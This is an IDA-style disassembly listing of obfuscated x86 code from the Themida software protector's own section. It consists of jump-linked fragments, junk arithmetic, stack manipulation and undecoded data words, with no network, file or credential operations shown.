		dd 51BA6400h, 50FD2400h, 50F0DE00h, 519EBD00h, 5236DC00h
		dd 51733400h, 513F7400h, 519C8500h, 51D8D400h, 51C86F00h
		dd 522EA100h, 517F9000h, 51603300h, 52171900h, 510E2D00h
		dd 521DC200h, 51FCF400h, 51B5F100h, 51366F00h, 513FC200h
		dd 50F25500h, 50FDAD00h, 51463A00h, 522E2B00h, 518FCB00h
		dd 52285100h, 52384800h, 51F6F300h, 515EC000h, 51686700h
		dd 51AD9000h, 51651400h, 521A5F00h, 51860300h, 5222E600h
		dd 51CD7900h, 512D6500h, 51BD3100h, 51874200h, 51307A00h
		dd 512E5D00h, 5216A100h, 52055F00h, 52326200h, 51A0C800h
		dd 517B6100h, 50FFB800h, 5186B700h, 51214000h, 51C99F00h
		dd 513B7E00h, 50F93600h, 50E96A00h, 5152B000h, 51142400h
		dd 51FA7700h, 521CD600h, 5191F100h, 5103BF00h, 51759200h
		dd 51850100h, 51794200h, 50F10800h, 51AB3E00h, 52217700h
		dd 51318100h, 5147A600h, 514E0A00h, 51EE8300h, 50F45E00h
		dd 51812E00h, 51399300h, 52221500h, 52281000h, 50FE4400h
		dd 5179FD00h, 518CEC00h
		db 0
; ---------------------------------------------------------------------------


loc_50E1A9:				; CODE XREF: Themida_:0055B870j
					; Themida_:0055FAC1j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 62D4693h
		mov	eax, edi
		add	edi, 62D43ABh
		cmp	eax, [edi+2Ch]
		jnz	short loc_50E1C7
		jmp	short loc_50E1DA
; ---------------------------------------------------------------------------


loc_50E1C7:				; CODE XREF: Themida_:0050E1C3j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_50E1D6
; ---------------------------------------------------------------------------


loc_50E1D1:				; CODE XREF: Themida_:0050E1D8j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_50E1D6:				; CODE XREF: Themida_:0050E1CFj
		or	ecx, ecx
		jnz	short loc_50E1D1


loc_50E1DA:				; CODE XREF: Themida_:0050E1C5j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_50E1E7:				; CODE XREF: Themida_:0050E1EEj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_50E1E7


loc_50E1F0:				; CODE XREF: Themida_:loc_51315Ej
					; Themida_:loc_51354Dj	...
		lodsb
		jmp	loc_513574
; ---------------------------------------------------------------------------
		dw 0AF0Fh
aSu		db '',0
		align 2


loc_50E1FE:				; CODE XREF: Themida_:0051F866j
		sub	edx, 65504D75h
		mov	edi, [esp]
		jmp	loc_518AEA
; ---------------------------------------------------------------------------


loc_50E20C:				; CODE XREF: Themida_:0051D0A5j
		shl	ch, 4
		sub	ch, 9Dh
		sub	bl, ch
		pop	ecx
		sub	bl, 1Ch
		sub	bl, 5
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_51EB08
; ---------------------------------------------------------------------------
		db 93h
		dd 0E953D0F7h, 0B97Ah, 2ACCC281h, 0D6894C9Eh, 57C4E95Ah
		dd 0E95A0001h, 0F95Bh, 0E952E389h, 0C4ACh
; ---------------------------------------------------------------------------


loc_50E24C:				; CODE XREF: Themida_:0051647Cj
		sub	edi, 2C41095Fh
		sub	ecx, 4C3115Bh
		add	ecx, edi
		add	ecx, 4C3115Bh
		jmp	loc_51A72F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24348966h, 10CDBE66h, 246C8166h, 666D1504h, 4247429h
		dd 0BAA0E9h, 24348900h,	6B0C38BEh, 0F7EE8159h, 813594ADh
		dd 0EA0198EFh, 68F70170h, 43CBh, 0BE243489h, 70EA0198h
		dd 4740C781h, 0F70165CFh, 4740EF81h, 5E5E65CFh,	70E9FE09h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50E2BB:				; CODE XREF: Themida_:00516796j
		sub	edi, 563245B8h
		push	eax
		jmp	loc_514E94
; ---------------------------------------------------------------------------
		db 68h
		dd 2FBBh, 0BE243489h, 7A270C7Ch, 0AC6FE9h, 0F1815900h
		dd 20FF1DADh, 0C183D9F7h, 17F18101h, 31A829F8h,	2434FFCDh
		dd 4C48159h, 1000000h, 0D3295DEBh, 6527EB81h, 148B5168h
		dd 4C48124h, 66000000h,	0E900B60Fh, 15F9h, 48752D5Bh, 0E8290ADFh
		dd 0DF487505h, 60BF570Ah, 137AD07h, 23AE9F8h, 24890000h
		dd 0C72FE924h, 248B0000h, 81008F24h, 0AA139730h, 0FEAAE951h
		dd 0C15DFFFFh, 0E94906E1h, 54EBh, 28BA5250h, 89C038A2h
		dd 0C6315AD0h, 8324048Bh, 0F23104C4h, 5524348Bh, 1222DE9h
		dd 0B4685800h, 89000042h, 0E954242Ch, 9317h, 769B6847h
		dd 0C890000h, 1EA7B924h, 0CF317810h, 69CE9h, 4EE8100h
		dd 87000000h, 895C2434h, 5E542434h, 1059EE9h, 240C8900h
		dd 93AFE9h, 6B000h, 48B66C3h, 0F48DE924h, 0C4810000h, 4
		dd 4C781h, 63E90000h, 8B000009h, 0C4832404h, 80F32804h
		dd 0E95A92EBh, 0D59Eh
; ---------------------------------------------------------------------------


loc_50E3DC:				; CODE XREF: Themida_:00520AD2j
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		push	ebp
		mov	ebp, 5C7B711Ch
		add	ebp, 0A3848EE8h
		mov	ecx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_520BA9
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BF8h, 5D04C483h, 8957C331h, 5A21E9E7h, 0C890000h
		dd 6401E924h, 34330000h, 3236E924h, 70D0000h, 0F712966Bh
		dd 44582DD8h, 0C301711Dh, 66B85058h, 2933093Ah,	8F58C3h
		dd 0FFFDA7E9h, 0E78957FFh, 4C781h, 0D3E90000h, 8100009Ah
		dd 43A9DC7h, 0BA525936h, 2, 46E7C781h, 0D70143A2h, 46E7EF81h
		dd 148B43A2h, 20B3E924h, 4330001h, 24248B24h, 84E9C331h
		dd 83000043h, 1C8904ECh, 46824h, 15B0000h, 241C8BDAh, 5C22E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E49D:				; CODE XREF: Themida_:0051C8C3j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		push	eax
		push	ebx
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		jmp	loc_513A47
; ---------------------------------------------------------------------------
		db 68h
		dd 6CD7h, 0E9243C89h, 0DA9Ch, 4EC81h, 3C890000h, 55A0E924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50E4CE:				; CODE XREF: Themida_:005157BAj
		mov	esi, 4
		jmp	loc_51E958
; ---------------------------------------------------------------------------
		dd 0A904E828h, 0C8BC92Ch, 4C48324h, 0E492E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E4E9:				; CODE XREF: Themida_:00512D92j
		sub	esi, 2F9E564Bh
		add	esi, 399641CBh
		add	esi, eax
		push	ebp
		mov	ebp, 399641CBh
		sub	esi, ebp
		pop	ebp
		add	esi, 2F9E564Bh
		jmp	loc_517ABF
; ---------------------------------------------------------------------------


loc_50E50B:				; CODE XREF: Themida_:00517C98j
		pop	edx
		mov	ebp, [esp]
		jmp	loc_51C2B3
; ---------------------------------------------------------------------------
		dd 53243489h, 124334BBh, 45B95147h, 81417E1Dh, 0A8A2A2C1h
		dd 59CE896Fh, 525BDE29h, 6C11D6BAh, 5AD7016Ch, 7C60E9h
		dd 240C8900h, 11799E9h,	24048F00h, 0EB685152h, 594C230Ah
		dd 0E902E9C1h, 145DDh, 24048F66h, 4EC8157h, 0E9000000h
		dd 0A14h, 242C8B5Fh, 12351E9h, 243C8B00h, 0E904EC83h, 1EEh
		dd 42474FFh, 0D8BE95Fh,	0C870000h, 43E95C24h, 5C000067h
		dd 24048F54h, 1DB5E9h, 6606B300h, 66788668h, 0B1240C89h
		dd 66CB287Dh, 81240C8Bh, 2C4h, 0BBB65200h, 889EE80h, 3BC9E9F3h
		dd 0D7010001h, 11B4EE9h, 4C18100h, 0E9000000h, 0F5EEh
		dd 0E924048Bh, 6CDh, 42474FFh, 1117CE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E5E1:				; CODE XREF: Themida_:005132A5j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_51043D
; ---------------------------------------------------------------------------


loc_50E5F6:				; CODE XREF: Themida_:0051F83Cj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	ecx, 2
		push	ebx
		push	esi
		push	0E1Ah
		mov	[esp], eax
		mov	eax, 57980414h
		jmp	loc_51E716
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 240CFF66h, 0FBC6E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50E62A:				; CODE XREF: Themida_:0051150Cj
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_51CE96
; ---------------------------------------------------------------------------


loc_50E636:				; CODE XREF: Themida_:005155C4j
		push	edx
		mov	dh, 7Dh
		add	ch, 0A1h
		jmp	loc_516F9F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 51000000h, 42474FFh,	57240C8Bh, 14E9E789h, 2D0000FBh
		dd 524E005Dh, 4EFCBF57h, 0F80160C1h, 53243C8Bh,	0CFE9E389h
		dd 83000098h, 0C8704C1h, 40DAE924h, 4890000h, 71E7B824h
		dd 0E0C135C6h, 6E0C104h, 7083472Dh, 8BC189E5h, 0C4812404h
		dd 4, 132FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_50E69D:				; CODE XREF: Themida_:0051FF86j
		mov	ebp, eax
		pop	eax
		or	ebp, 518101E8h
		shr	ebp, 8
		sub	ebp, 9644B111h
		add	eax, 7E45E42h
		sub	eax, ebp
		sub	eax, 7E45E42h
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_510853
; ---------------------------------------------------------------------------


loc_50E6CC:				; CODE XREF: Themida_:0051414Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_521556
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4C18300h, 5C240C87h, 6434E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E6F1:				; CODE XREF: Themida_:0051F89Fj
		add	esp, 4
		add	ebp, 73923487h
		add	ebp, 5A2FBBDAh
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_51E0BF
		push	dword ptr [edi+1Ch]
		jmp	loc_51A8CE
; ---------------------------------------------------------------------------
aSbc		db ']c',0
		db 0
; ---------------------------------------------------------------------------


loc_50E721:				; CODE XREF: Themida_:005190CBj
		neg	esi
		push	edx
		mov	edx, 273F0FC7h
		neg	edx
		and	edx, 7702D8Bh
		xor	edx, 3C787E47h
		not	edx
		xor	edx, 32566C9Ch
		xor	edx, 0C8F8B605h
		sub	esi, 27F96366h
		sub	esi, edx
		add	esi, 27F96366h
		pop	edx
		add	esi, 281A43ECh
		jmp	loc_514051
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5204C483h, 0D1EAE951h, 3C890000h, 815F5424h,	4C7h, 0BB535500h
		dd 12FB23C9h, 7FE9DD89h, 0C1000066h, 0B2E903E1h, 0BA000076h
		dd 4D1E527Bh, 0AD87BD55h, 0EA01B2E1h, 5AD0895Dh, 3069BA52h
		dd 0D6017A37h, 77EE815Ah, 115802Dh, 18E957C6h, 4B00005Ch
		dd 33EFC381h, 2E9FB51h,	89000029h, 0EC83243Ch, 24348904h
		dd 268h, 0F7895E00h, 22FD055Eh,	66E926D5h, 0B6000147h
		dd 66F42805h, 4DEC805Ah, 0B551CCFEh, 8BEC308Eh,	0C481240Ch
		dd 4, 6658E688h, 29E95153h, 8B00003Ah, 0C483241Ch, 25956804h
		dd 34890000h, 6865BE24h, 0F0293501h, 63D4055Eh,	0D0013BDFh
		dd 0DF63D42Dh, 6865053Bh, 3AE93501h, 29000077h,	8EF81CFh
		dd 8B017317h, 8952240Ch, 4C281E2h, 81000000h, 4C2h, 74FF5200h
		dd 8F5A0424h, 875C2404h, 248B243Ch, 241C8924h, 9B4834BBh
		dd 1EB814Ch, 0C1000000h, 0DBF703EBh, 13A6B850h,	0E8C15087h
		dd 69B60D04h, 0E0C144E7h, 0DD0F705h, 770C2DEAh,	0BF667405h
		dd 58C331FAh, 0C285EB81h, 0D98987B0h, 4FCBE9h, 58C58900h
		dd 7EC0ED81h, 0EE8165F3h, 0CB6300Bh, 0C681EE29h, 0CB6300Bh
		dd 83242C8Bh, 0FF5604C4h, 0FF042474h, 348B2434h, 4C48324h
		dd 3471E957h
		db 1, 0
; ---------------------------------------------------------------------------


loc_50E8C6:				; CODE XREF: Themida_:0050FEBFj
		mov	ecx, [ebx]
		pop	ebx
		push	970h
		mov	[esp], ebp
		push	esi
		push	6BA82A49h
		jmp	loc_522FE5
; ---------------------------------------------------------------------------
		dd 2BDh, 0D5E98100h, 0E90A9B34h, 188Fh
; ---------------------------------------------------------------------------


loc_50E8EC:				; CODE XREF: Themida_:0051ECAFj
		push	esi
		mov	esi, 12A05C67h
		push	ecx
		mov	ecx, 7FF455EAh
		and	esi, ecx
		pop	ecx
		sub	esi, 0B442407h
		sub	eax, 0F2C060Ch
		sub	eax, esi
		add	eax, 0F2C060Ch
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5134FF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 815D2414h, 43B490EDh, 5DEB89C1h, 7F7BBD55h, 0DDF70F62h
		dd 8103E5C1h, 0A955D7C5h, 0B4ED816Fh, 0C13F9A65h, 0BB5305E5h
		dd 16097778h, 295BDD01h, 8DE95DEBh, 0D1000082h,	0B835E8h
		dd 0C6E97B81h, 660000AEh, 56240C8Bh, 0FEBDE954h, 54500000h
		dd 40558h, 36E90000h, 0BA00012Ah, 0BB03E9Eh, 6D90C281h
		dd 0D2F73CFBh, 0E281D2F7h, 50CF0E50h, 0C04F281h, 0D001408Bh
		dd 2E8835Ah, 4152E9h, 6EE38000h, 0EE02E9h
		db 0
; ---------------------------------------------------------------------------


loc_50E9A5:				; CODE XREF: Themida_:00512D9Cj
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, edi
		mov	eax, ebp
		pop	ebp
		pop	edi
		sub	[esp+4], eax
		mov	eax, [esp]
		push	edi
		jmp	loc_513F40
; ---------------------------------------------------------------------------


loc_50E9C4:				; CODE XREF: Themida_:0050FB42j
		sub	ebx, 1DA3228Fh
		sub	ebx, ebp
		add	ebx, 1DA3228Fh
		jmp	loc_5139F5
; ---------------------------------------------------------------------------
		db 59h
		dd 7FC8B951h, 0E98134A6h, 816DF842h, 8959CE31h,	0C5815EF0h
		dd 6D27312Dh, 5121BB53h, 6FE9076Ch, 810000F0h, 0D150E6C7h
		dd 81DF0129h, 0D150E6EFh, 0E1EEE929h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EA0E:				; CODE XREF: Themida_:00517818j
		and	ebx, 2AEF644Ch
		push	ecx
		mov	ecx, 0D9FB4D86h
		jmp	loc_513ED3
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0E2C8E9h, 0FE895900h,	0EC83555Fh, 24048904h
		dd 4959E9h, 51E38900h, 4B9h, 59CB0100h,	4C381h,	1C870000h
		dd 0C335C24h, 240C3124h, 0E9240C33h, 727Eh, 4BAh, 0F7BF5700h
		dd 143BC2Ah, 0D0015FF8h, 63A16857h, 4890000h, 501AB824h
		dd 0ED3558EAh, 891B567Ah, 2434FFC7h, 0E6895658h, 1117EE9h
		dd 24143100h, 12BFDE9h,	24348700h, 100E2E9h, 2434FF00h
		dd 3285E95Dh, 8B540001h, 0C4832414h, 4C28104h, 0E9000000h
		dd 129B7h, 83400ABDh, 0CD814D68h, 30B978C7h, 8104E5C1h
		dd 0C82927CDh, 96E9454Eh
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50EAD7:				; CODE XREF: Themida_:00523C4Dj
		xchg	ebx, [esp]
		pop	esp
		xor	esi, 54C44416h
		jmp	loc_513765
; ---------------------------------------------------------------------------
		dw 0CA30h
		dd 0CA86D1F6h, 5001C280h, 0E952E089h, 0FFFFFE7Fh
; ---------------------------------------------------------------------------


loc_50EAF8:				; CODE XREF: Themida_:0051A268j
		pop	ebx
		add	esp, 4
		add	eax, edx
		pop	edx
		jmp	loc_51A7ED
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 7BECE924h, 0C1810000h, 4,	3304C183h, 0C31240Ch
		dd 240C3324h, 0FF24248Bh, 34FF2434h, 0EC815824h, 4, 12635E9h
		dd 33E95D00h, 81000045h, 0AC533EEFh, 0FBEF8144h, 0E97B6436h
		dd 0EB45h, 5E4FF9B9h, 8BC82963h, 0C483240Ch, 68662D04h
		dd 81052816h, 2939BF4Fh, 4F812DD8h, 0BD5539BFh,	28166866h
		dd 55DE801h, 635E4FF9h,	24305805h, 3BBD553Bh, 682075F5h
		dd 53h,	0E9242C89h, 2E34h, 28B8F181h, 0F1814556h, 1F0B402Fh
		dd 90EAC181h, 0CF09DB07h, 0E92434FFh, 8932h, 0C6FEAEB6h
		dd 0C69DE9h
		db 0
; ---------------------------------------------------------------------------


loc_50EBB9:				; CODE XREF: Themida_:0051F424j
		push	ebx
		mov	ebx, 3FFA1F9Ah
		and	ebx, 51B671D5h
		jmp	loc_511AAB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0DF215A04h, 6850555Bh, 5F010F98h, 842FE9h, 240C8900h
		dd 0FBFFBD55h, 5052FFFFh, 24348155h, 1B294CC5h,	4CC53558h
		dd 0C2891B29h, 683FE958h, 0C1810000h, 0B9EF5E0Ah, 0C8BCB01h
		dd 4C48324h, 6804C383h,	1672h, 0FF241C89h, 8B042474h, 0C481241Ch
		dd 4, 5C24048Fh, 0E9243433h, 10A2Dh
; ---------------------------------------------------------------------------


loc_50EC30:				; CODE XREF: Themida_:00519761j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_51488C
; ---------------------------------------------------------------------------
aZSU		db '<$',0Ah
		db '',0
		align 2
		dw 835Ah
		dd 148904ECh, 84B55124h, 8898F580h, 0A412E9EEh,	0E9590000h
		dd 0D199h, 8B241487h, 75E92424h, 8B0000D3h, 0C481243Ch
		dd 4, 0B7C2E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EC7A:				; CODE XREF: Themida_:00513ED5j
		pop	ecx
		and	edi, ebx
		pop	ebx
		push	ebp
		jmp	loc_50F6C6
; ---------------------------------------------------------------------------
		dd 4BA525Fh, 0E9000000h, 134Fh,	8ACE95Eh, 15C0000h, 58C681C6h
		dd 512C354Ch, 11807E9h,	0EB56800h, 2DE90000h, 890000A9h
		dd 85BB53E7h, 0E9789942h, 11699h, 53ABF680h, 0ADE9F388h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50ECC7:				; CODE XREF: Themida_:0051FA02j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_519FD8
; ---------------------------------------------------------------------------
		db 56h,	68h, 0BFh
		dd 5E52DC1Dh, 0EE81DEF7h, 1, 0F701EE83h, 612968D6h, 1C890000h
		dd 5DC6BB24h, 0C38164A8h, 7785472Ah, 0FDC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_50ED0D:				; CODE XREF: Themida_:0050FBEAj
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51D29E
; ---------------------------------------------------------------------------


loc_50ED21:				; CODE XREF: Themida_:005160A9j
		mov	[esp], esi
		mov	esi, 9E71921h
		jmp	loc_5173AD
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 31243C33h, 3C33243Ch, 24248B24h, 68536652h, 3847h
		dd 0E9240489h, 14631h, 4C181h, 2CE90000h, 5500010Eh, 29C1E9h
		dd 2474FF00h, 48F5B04h,	34895C24h, 0D3B6E924h, 0D3010000h
		dd 8324148Bh, 1C8704C4h, 0C3D4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50ED82:				; CODE XREF: Themida_:005101F7j
		add	esp, 4
		push	esi
		push	ecx
		jmp	loc_51FDEF
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 5304C383h, 42474FFh, 9512E9h,	7BEB8000h
		dd 0D59DE9h, 36E58100h,	8313BC64h, 0E581FFC5h, 4C4554A7h
		dd 3B02E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EDBE:				; CODE XREF: Themida_:00511AAEj
		neg	dword ptr [esp]
		pop	ebx
		and	ebx, 417E31FCh
		not	ebx
		add	ebx, 0D0081E1h
		xor	edi, ebx
		jmp	loc_5132D5
; ---------------------------------------------------------------------------
		db 0BDh
		dd 21CF51BCh, 0FFFFBE56h, 0F529FFFFh, 7EDC15Eh,	0E904EDC1h
		dd 3E91h, 0E9241C89h, 2A0Ch, 788968h, 77EFE900h, 36BF0000h
		dd 4702B154h, 0C48EE9h,	2A972D00h, 0C501DA60h, 0B8ED8158h
		dd 0E964F579h, 0CC15h, 0E906EEC1h, 0E9A2h
; ---------------------------------------------------------------------------


loc_50EE28:				; CODE XREF: Themida_:00516145j
		sub	ebp, 5DDEE84Dh
		jmp	loc_5167CD
; ---------------------------------------------------------------------------


loc_50EE33:				; CODE XREF: Themida_:005118F8j
		push	edi
		mov	edi, 792F4306h
		not	edi
		not	edi
		xor	edi, 1D83300Ch
		jmp	loc_51AAA3
; ---------------------------------------------------------------------------
		dd 0E5C087B5h, 1D28E907h, 0EF810001h, 6E1F5781h, 0C781CF29h
		dd 6E1F5781h, 0E9240C8Bh, 10024h
; ---------------------------------------------------------------------------


loc_50EE68:				; CODE XREF: Themida_:00517E09j
		sub	edi, 4
		jmp	loc_519515
; ---------------------------------------------------------------------------
		dd 0C3C78159h, 8995AA8Fh, 243C8BF8h, 0E904C483h, 144D0h
; ---------------------------------------------------------------------------


loc_50EE84:				; CODE XREF: Themida_:0051DD52j
		pop	esp
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_50FC99
; ---------------------------------------------------------------------------
		db 0D0h
		dd 0B4E180E1h, 0D006E180h, 20F180E1h, 0E9F6F180h, 0C5B4h
		dd 0E6895651h, 4C681h, 0EE830000h, 24348704h, 5424248Bh
		dd 8324048Fh, 8B042404h, 0C483240Ch, 4EC8304h, 0BB241C89h
		dd 1FD718BBh, 8108E3C1h, 0BD7B62F3h, 9FC3810Ch,	0C1650823h
		dd 0CB8707E3h, 0CB87D1F7h, 0FF7BEB81h, 0BA52A90Dh, 62D0519Dh
		dd 53DAF742h, 2C26856h,	0F75E3368h, 70F681DEh, 89DB09FCh
		dd 31CAE9F3h, 0E9530000h, 11D49h, 42Dh,	24048700h, 1A28E9h
		dd 2474FF00h, 24148B04h, 4C481h, 48F0000h, 24248B24h, 0FFF2B9E9h
		dd 41415BFFh, 0D659E981h, 83E91741h, 89000126h,	0C98AE9E3h
		dd 0C7810000h, 254702A6h, 19DAC781h, 0CF01156Dh, 0F542E9h
		dd 0E9D7F700h, 0C6B9h
; ---------------------------------------------------------------------------


loc_50EF6C:				; CODE XREF: Themida_:00515B11j
		push	7673h
		mov	[esp], eax
		push	edi
		pop	eax
		pop	edi
		jmp	loc_51470A
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 815F0000h, 4ECh, 24148900h, 3AD9E9h
		dd 4C48300h, 83240C8Bh,	48904ECh, 79BE924h, 148B0000h
		dd 4C48324h, 5204C483h,	13A8DE9h, 0F686B700h, 5EF80DFh
		dd 0F6AFE780h, 335EE9DFh, 81590001h, 0B079B8C1h, 57C1290Ah
		dd 32096FBFh, 61F7817Ah, 0E92B0418h, 115F7h, 4C681h, 34870000h
		dd 0C1815C24h, 0EB86907Bh, 43C76857h, 0C890000h, 34EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50EFFE:				; CODE XREF: Themida_:00512866j
		add	ebp, 1EE56051h
		add	ebp, eax
		jmp	loc_51A7B4
; ---------------------------------------------------------------------------


loc_50F00B:				; CODE XREF: Themida_:0051B1A4j
		mov	ecx, 801ED6D8h
		sub	ecx, 0A960083h
		add	ecx, ebp
		jmp	loc_51711F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 133F1E9h, 0CCEE8100h, 14CE25Dh, 0CCC681D6h, 8B4CE25Dh
		dd 0C4812414h, 4, 27C368h, 0E66E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F046:				; CODE XREF: Themida_:00516C83j
		pop	esi
		jmp	loc_5193B2
; ---------------------------------------------------------------------------
aRsT		db 'R>',0
		align 2
		dw 0C581h
		dd 4, 0F53AE9h,	4C4CBA00h, 0E2C12A3Ch, 3E2C108h, 8106EAC1h
		dd 0C5BCE2F2h, 5AD70115h, 94DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_50F079:				; CODE XREF: Themida_:0051C884j
		shl	ebx, 2
		push	ebp
		jmp	loc_51C2DF
; ---------------------------------------------------------------------------
		dw 69E9h
		dd 5CFFFFF1h, 9C240430h, 9D72E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F091:				; CODE XREF: Themida_:005207E2j
		sub	ebp, 0AF5BDB3Ch
		shl	ebp, 3
		inc	ebp
		push	edx
		mov	edx, 69094A9Ah
		and	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 0FFFFFFFFh
		shr	ebp, 4
		add	ebp, 0F265CF78h
		add	eax, ebp
		push	dword ptr [esp]
		jmp	loc_51ACAD
; ---------------------------------------------------------------------------


loc_50F0C5:				; CODE XREF: Themida_:00522117j
		mov	edi, 1C0D5BF1h
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	esi, edi
		pop	edi
		jmp	loc_51A6CD
; ---------------------------------------------------------------------------
		dw 81ADh
		dd 4ECh, 24148900h, 0C281E289h,	4, 1B1ABF57h, 0F78167ECh
		dd 31B8627Fh, 0C7C7814Fh, 0E93AE61Ch, 2AF1h, 240C8B66h
		dd 4EC81h, 0C8E90000h
		db 0B4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50F117:				; CODE XREF: Themida_:0051B327j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 18h
		xor	eax, ecx
		push	2EFh
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_511316
; ---------------------------------------------------------------------------
		dw 3A68h
		dd 0E950E839h, 11126h, 7F0C6858h, 0C890000h, 0E9E18924h
		dd 0FBEAh, 0EF81C729h, 99740EAh, 430DE958h, 0E9510001h
		dd 7E5Ch, 0BDC7C581h, 0E889BA0Fh, 8B2434FFh, 0C481242Ch
		dd 4, 4C481h, 4AE90000h, 68000015h, 4, 57243C8Bh, 0C781E789h
		dd 4, 4BE56h, 0F7010000h, 80D7E95Eh, 0EC810000h, 4, 0DD04E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F1BD:				; CODE XREF: Themida_:0052132Fj
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_51F32A
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0E6E90000h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50F1EB:				; CODE XREF: Themida_:0051B657j
		dec	ecx
		shl	ecx, 5
		not	ecx
		sub	ecx, 21F65579h
		add	ecx, 167C3302h
		add	ecx, 4B5F3537h
		sub	esi, 46310824h
		add	esi, 1F7A05EFh
		jmp	loc_511026
; ---------------------------------------------------------------------------


loc_50F214:				; CODE XREF: Themida_:0050F7CDj
		movzx	ax, byte ptr [eax]
		jmp	loc_5115E2
; ---------------------------------------------------------------------------


loc_50F21D:				; CODE XREF: Themida_:00510FFDj
		push	ebp
		mov	ebp, 79E257FCh
		or	ebp, 521C2668h
		jmp	loc_513D24
; ---------------------------------------------------------------------------
aSfs		db '',0
		align 4
		dd 4C481h, 0C1810000h, 64173D0Bh, 4A25E9h
		db 0
; ---------------------------------------------------------------------------


loc_50F245:				; CODE XREF: Themida_:0051A7EEj
		sub	esp, 4
		mov	[esp], ebp
		push	7980h
		jmp	loc_51EA52
; ---------------------------------------------------------------------------
aMsv		db '颼',0
		dw 100h
		dd 53042444h, 0AF0FF5BBh, 245C0101h, 0F039E908h, 0CC800000h
		dd 0DEF4803Fh, 8005E4C0h, 0E700DFC4h, 0F6F78658h, 30F730D6h
		dd 66F730FEh, 28000068h, 3C8A243Ch, 2C48324h, 1C3FE9h
		dd 4C48300h, 0D2685253h, 5A25110Dh, 9FFBE56h, 0C6814849h
		dd 76DA2517h, 3C0FE681h, 0E6815B8Dh, 7A26881h, 1BEE8146h
		dd 21E271D3h, 0ADB9E9F2h, 21E90000h, 0F7FFFFEFh, 8E0C1D0h
		dd 8B42E435h, 44C9E926h
		db 1, 0
; ---------------------------------------------------------------------------


